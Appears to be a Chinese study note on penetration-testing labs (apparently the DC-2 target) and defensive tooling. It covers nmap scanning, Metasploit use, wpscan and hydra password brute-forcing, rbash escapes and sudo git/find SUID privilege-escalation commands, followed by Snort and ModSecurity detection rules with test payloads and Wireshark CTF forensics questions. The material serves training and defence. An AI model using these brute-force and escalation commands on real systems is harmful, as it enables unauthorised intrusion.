2023年3月

一、寻找活动主机:
1.比较快速的方法:arp-scan -l

  1. netdiscover
  2. nmap -sS 网络开始地址/24
    参数:-sS 是指SYN扫描

二、活动主机的信息收集

  1. nmap -A -p- hostIP
    参数:-A OS识别,版本探测,脚本扫描和traceroute综合扫描
    参数:-p- 扫描所有端口

三、漏洞利用
1.启动metasploit
msfconsole

2.搜索指定的exploit(主机中存在的漏洞)
search 主机中存在的漏洞名称

会已列表形式列出漏洞模块

  1. 指定上面列表中可用的模块
    use 模块编号
    4.查看需要配置项
    show options
    5.漏洞爆破
    exploit
    成功后,会出现:meterpreter>
    并进入到被攻击主机中。可以列出靶机的文件目录。
    6.如果是wordpress网站,可以使用wpscan扫描可以登录的用户
    wpscan --url dc-2 -e u
    -e:简单进行整体快速扫描
    u:枚举WordPress用户名
    -U:指定用户名字典
    -P:指定密码字典

wpscan工具爆破
wpscan --url dc-2 -U dc2users.txt -P dc2.txt
上面的密码字典可以通过以下方法生成:
cewl http://dc-2 -w dc2.txt

ssh登录密码爆破: 使用Hydra工具进行
hydra -L dc2users.txt -P dc2.txt 192.168.43.15 ssh -s 7744(ssh端口号)
-L:指定用户名字典
-P:指定密码字典
-s:可通过这个参数指定非默认端口
rbash绕过方法:
BASH_CMDS[a]=/bin/sh;a #调用/bin/sh命令解释器
/bin/bash #使用bash命令解释器
export PATH=$PATH:/bin/ #设置环境变量

git提权:

sudo git help config

!/bin/bash或者!'sh'完成提权

sudo git -p help

!/bin/bash

四、进入靶机shell
shell
查看python版本
python -V
通过pty.spawn()获得交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'

五、提升权限
提权专题介绍
1.使用find命令查找有特殊权限suid的命令
find / -perm -4000

例如find具有suid权限,则执行下面命令
find 任意文件 -exec '/bin/sh' \;
如果成功提权,则提示符从“>”变为“#”

2.使用git进行提权
sudo git help config
输入:GG
来到最后一行
输入以下代码进行提权:

!/bin/bash

如果成功提权,则提示符从“>”变为“#”

参考文章
snort规则说明
启动监控模式:
sudo snort -A console -q -c /etc/snort/snort.conf -i ens33

针对ICMP协议案例:
alert icmp any any -> any any (msg:"ICMP test detected"; sid:100001; rev:1; )
alert icmp any any -> any any (msg:"ICMP data>1024"; dsize:>1024; sid:100001; rev:2;)

针对TCP协议案例:
alert tcp any any -> any any (msg:"Nmap FIN Scan"; flags:F; sid:100002; rev:1;)
alert tcp any any -> any any (msg:"SYN-FIN scan!"; flags: SF;sid:100002; rev:2;)
alert tcp any any -> 192.168.43.97 80 (msg: "SQL Injection Detected"; content: "%27" ; sid:100000007; )
alert tcp any any -> 192.168.43.97 80 (msg: "SQL Injection Detected"; content: "%22" ; sid:100000008; )

attack.pcapng.zip
下载流量包,重名命为attack.pcapng
Wireshark分析流量包案例
1、使用Wireshark查看并分析attack.pcapng数据包文件,通过分析数据包attack.pcapng找出黑客的IP地址,并将黑客的IP地址作为FLAG(形式:[IP地址])提交:
2、继续查看数据包文件attack.pacapng,分析出黑客扫描了哪些端口,并将全部的端口作为FLAG(形式:[端口名1,端口名2,端口名3…,端口名n])从低到高提交:
3、继续查看数据包文件attack.pacapng分析出黑客最终获得的用户名是什么,并将用户名作为FLAG(形式:[用户名])提交:
4、继续查看数据包文件attack.pacapng分析出黑客最终获得的密码是什么,并将密码作为FLAG(形式:[密码])提交:
5、继续查看数据包文件attack.pacapng分析出黑客连接一句话木马的密码是什么,并将一句话密码作为FLAG(形式:[一句话密码])提交:
6、继续查看数据包文件attack.pacapng分析出黑客下载了什么文件,并将文件名及后缀作为FLAG(形式:[文件名.后缀名])提交:
7、继续查看数据包文件attack.pacapng提取出黑客下载的文件,并将文件里面的内容为FLAG(形式:[文件内容])提交:

流量分析案例.rar

HackBar-v2.3.1.zip
hackbar是一款Firefox/chrome浏览器下的黑客插件 安全人员可以十分方便的用来进行sql注入以及xss测试或进行各种编码功能等.

1.安装
浏览器-设置-扩展程序-搜索或"加载已解压的扩展程序"
2.使用
按F12键
出现如下:单击"HackBar"
2023-03-18T02:08:35.png
(1)单击"Load URL",加载网址,可以修改网址信息
(2)单击"Execute",执行提交

参考文档1
参考文档2
一、 简介
ModSecurity 是一个 Web 应用程序防火墙 (WAF),并且具有一个强大的持续维护的规则库,其有以下优点。

实时监控和攻击检测
实时监控 HTTP 流量以检测攻击,并且提供可自定义的日志记录功能。
预防攻击和虚拟补丁
可以拦截利用已知漏洞进行的攻击,并且可以打虚拟补丁,对于一些异常的行为可以对其ip等进行打分行为,从而跟踪行为,最终判定是否拦截。
灵活的规则引擎
CRS(coreruleset)是ModSecurity体系的核心,规则体系强大并且灵活,下文也将重点介绍其规则体系。
嵌入式模式部署
ModSecurity 是一个嵌入式 Web 应用程序防火墙,这样可以缩小性能开销,并且对于https流量也能直接处理。
基于网络的部署
可以部署在反向代理服务器上,用于保护后端服务。

apt update

安装apache2:
apt install apache2

安装apache2的mod-security模块:
apt-get install libapache2-mod-security2

启用mod-security
a2enmod security2

重命名配置文件:
cd /etc/modsecurity
mv modsecurity.conf-recommended modsecurity.conf

修改配置文件modsecurity.conf
SecRuleEngine On

重新启动apache2,使得modsecurity的配置生效
systemctl restart apache2

测试:
http://ip/index.php?exec=/bin/bash
sql注入指令
http://ip/index.php?id=1 AND 1=1
会出现"Forbidden"提示信息

检查apache日志
cat /var/log/apache2/error.log |grep index.php

规则写法:
SecRule VARIABLES OPERATOR [TRANSFORMATION_FUNCTIONS, ACTIONS]

示例:
SecRule REQUEST_METHOD "^(?:PUT|CONNECT|TRACE|DELETE)$" "phase:1,id:49,log,block,t:none"
SecRule REQUEST_METHOD "^(?:HEAD|PUT|DELETE|CONNECT|TRACE)$" "id:50,log,block,msg:'block_msg',t:none"
SecRule ARGS "@rx attack" "phase:1,log,deny,id:1"
SecRule REMOTE_ADDR "@ipMatch 192.168.1.101" "id:xxx"
SecRule REMOTE_PORT "@lt 1024" "id:xxx"
SecRule REQUEST_HEADERS:Content-Length "@eq 0" t:none
SecRule REQUEST_LINE "@beginsWith GET" "id:xxx" #检测以“GET”开头的请求行
SecRule REQUEST_LINE "@contains .php" "id:xxxx" #在请求行中的任何位置检测是否包含“.php”字符串
SecRule ARGS "@containsWord select" "id:xxx" #在ARGS的任何地方检测是否包含“select”字符串
SecRule ARGS "@rx attack" "phase:1,log,deny,id:1"

VARIABLES:
REQUEST_METHOD 请求方法

操作符 operator:
beginsWith,contains,rx

动作Actions :
chain:使用紧随其后的规则与当前规则进行链接,形成规则链。
drop: 关闭TCP连接
block:执行SecDefaultAction定义的阻断性动作
msg: 将自定义信息分配给规则或规则链。 该消息将与每次警报一起记录到日志中。